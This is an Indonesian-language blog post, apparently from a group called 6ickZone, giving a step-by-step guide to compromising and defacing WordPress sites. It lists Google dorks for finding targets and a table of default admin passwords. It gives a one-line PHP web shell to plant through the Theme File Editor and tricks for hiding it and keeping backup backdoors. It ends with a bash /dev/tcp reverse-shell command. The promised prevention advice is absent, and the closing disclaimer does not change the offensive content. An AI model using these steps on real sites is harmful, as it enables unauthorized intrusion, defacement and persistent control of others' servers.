cara deface POC wordpress default dan Akses Shell via Theme Editor
Ancaman dan Strategi Pencegahan
Pendahuluan: Pintu Belakang yang Terbuka di WordPress
WordPress, sebagai CMS paling populer di dunia, seringkali menjadi target utama bagi para penyerang siber. Salah satu metode serangan yang paling sederhana namun efektif adalah dengan memanfaatkan kredensial login default atau yang mudah ditebak, dikombinasikan dengan akses ke fitur-fitur administratif seperti Theme Editor. Artikel ini akan membahas secara mendalam studi kasus eksploitasi ini, mulai dari fase pengintaian hingga kemungkinan mendapatkan akses shell Backdoor ke server.
Dorking Target WordPress: Menemukan Sasaran Potensial
Fase awal dalam mengidentifikasi situs WordPress yang berpotensi rentan seringkali dimulai dengan "dorking" atau menggunakan Google Dorks. Ini adalah teknik pencarian lanjutan di mesin pencari untuk menemukan halaman atau konfigurasi spesifik. Penyerang menggunakan dork untuk mengidentifikasi situs WordPress yang masih menggunakan pengaturan default, versi lama, atau pola URL yang mudah dikenali, yang mungkin mengindikasikan kelalaian dalam keamanan.
Berikut adalah beberapa contoh dork yang dapat digunakan untuk menemukan target WordPress dengan jejak halaman default atau versi lama:
intitle:"Hello World" intext:"Powered by WordPress" inurl:/wp/
intitle:"Wordpress" site:.br
intitle:"My Blog My WordPress Blog" "March 2021"
intitle:"Just another WordPress site"
Penggunaan dork ini bertujuan untuk menemukan situs-situs yang mungkin belum dioptimalkan atau diperbarui, yang bisa jadi lebih rentan terhadap serangan kredensial lemah.
Kredensial Login Default dan Umum: Titik Masuk yang Paling Sering
Banyak instalasi WordPress, terutama yang baru diinstal tanpa kustomisasi awal, masih menggunakan kredensial login default. Selain itu, banyak pengguna yang memilih kombinasi username dan password yang sangat lemah atau umum. Ini adalah titik masuk termudah bagi penyerang yang melakukan serangan brute-force atau dictionary attack.
Berikut adalah list kombinasi username dan password default atau yang paling umum dipakai dan seringkali berhasil:
USERNAME | PASSWORD |
---|---|
admin | admin |
admin | password |
admin | 123456 |
admin | wordpress |
user | user |
user | password |
user | 123456 |
user | wordpress |
Setelah mengidentifikasi target, penyerang akan mencoba mengakses halaman login panel WordPress di URL berikut:
https://target.com/wp-login.php
Dengan menggunakan kombinasi username dan password dari daftar di atas, penyerang mencoba mendapatkan akses ke dashboard administratif situs.
Mengeksploitasi via Theme File Editor: Memasukkan Web Shell
Setelah penyerang berhasil mendapatkan akses ke panel admin WordPress (misalnya melalui kredensial default), langkah selanjutnya seringkali adalah membangun "persistence" atau mendapatkan akses yang lebih stabil ke server. Salah satu metode yang populer adalah dengan memanfaatkan Theme File Editor yang tersedia di dashboard WordPress.
Theme File Editor memungkinkan administrator untuk mengedit file-file tema secara langsung dari dashboard. Jika penyerang memiliki akses admin, mereka dapat menyisipkan kode berbahaya ke dalam file tema yang sudah ada, mengubahnya menjadi sebuah web shell sederhana.
-
Akses Admin Panel WordPress
Langkah pertama adalah berhasil masuk ke admin panel WordPress menggunakan kredensial yang berhasil ditemukan.
-
Navigasi ke Theme File Editor
Arahkan ke:
Appearance > Theme File Editor
di menu navigasi dashboard WordPress. Pastikan Anda memilih tema yang sedang aktif atau tema yang akan mudah diakses secara publik. -
Pilih dan Modifikasi File Tema
Pilih file tema yang umum diakses dan biasanya tidak akan terlalu mencurigakan jika dimodifikasi, seperti
sidebar.php
,footer.php
, atau404.php
. Penting untuk memilih file yang akan dieksekusi oleh WordPress saat halaman tertentu dimuat. -
Sisipkan Web Shell/uploader
Ganti sebagian kecil dari kode PHP yang ada di file tema dengan kode web shell sederhana. Web shell minimalis yang sering digunakan adalah:
<?php system($_GET['cmd']); ?>
Kode ini memungkinkan penyerang untuk mengeksekusi perintah sistem operasi (OS) melalui parameter URL.
sisipkan uploader up.php
Hapus ganti semua dengan web shell shell.php
-
Akses Web Shell
Setelah file tema dimodifikasi dan disimpan, penyerang dapat mengakses shell melalui URL langsung ke file tema yang telah diubah, dengan parameter
cmd
berisi perintah yang ingin dieksekusi. Contohnya:https://target.com/wp-content/themes/nama-tema-aktif/sidebar.php?cmd=whoami
Perintah
whoami
akan menampilkan nama pengguna di server, mengkonfirmasi eksekusi kode berhasil.https://target.com/wp-content/themes/nama-tema-aktif/sidebar.php
Teknik Persistence & Penyamaran (Trick)
Mendapatkan akses shell adalah satu hal, mempertahankannya dan membuatnya tidak mencurigakan adalah hal lain. Penyerang seringkali menggunakan teknik berikut untuk persistence (mempertahankan akses) dan penyamaran:
- Mengganti Nama File Shell: Mengubah nama file shell menjadi file tema umum seperti
functions.php
ataufooter.php
, atau menyisipkan kode shell di dalamnya. - Menyisipkan Kode ke File Kurang Curiga: Memasukkan kode shell dalam file seperti
404.php
(halaman tidak ditemukan) atauheader.php
, yang sering diakses tetapi mungkin tidak sering diperiksa oleh administrator. - Upload Shell via Plugin ZIP: Jika Theme Editor diblokir, penyerang bisa mengunggah shell melalui fitur "Plugins > Add New > Upload Plugin" jika mereka bisa membuat file .zip yang valid berisi shell.
- Membuat Backdoor Kedua: Selalu buat backdoor cadangan di lokasi lain jika shell utama terdeteksi dan dihapus.
Langkah Tambahan dan Informasi Penting
- Pengecekan Izin File: Setelah mendapatkan shell akses, langkah selanjutnya adalah memeriksa izin file (file permissions) menggunakan perintah
ls -la
. Ini akan menunjukkan direktori mana yang dapat dibaca, ditulis, atau dieksekusi, membantu penyerang dalam navigasi dan peningkatan hak akses. - Reverse Shell: Untuk akses yang lebih stabil dan interaktif, penyerang sering mencoba mendapatkan reverse shell. Ini melibatkan server yang "memanggil balik" ke mesin penyerang. Contoh perintah umum adalah:
bash -i >& /dev/tcp/yourip/port 0>&1
(gantiyourip
danport
dengan IP dan port listener penyerang).
⚠️ Disclaimer
This article is intended solely for educational purposes only.The creator shall not be held liable for any misuse, illegal activities, or damages resulting from the unauthorized use of this .
"Where creativity, exploitation, and expression collide." — 6ickZone
Posting Komentar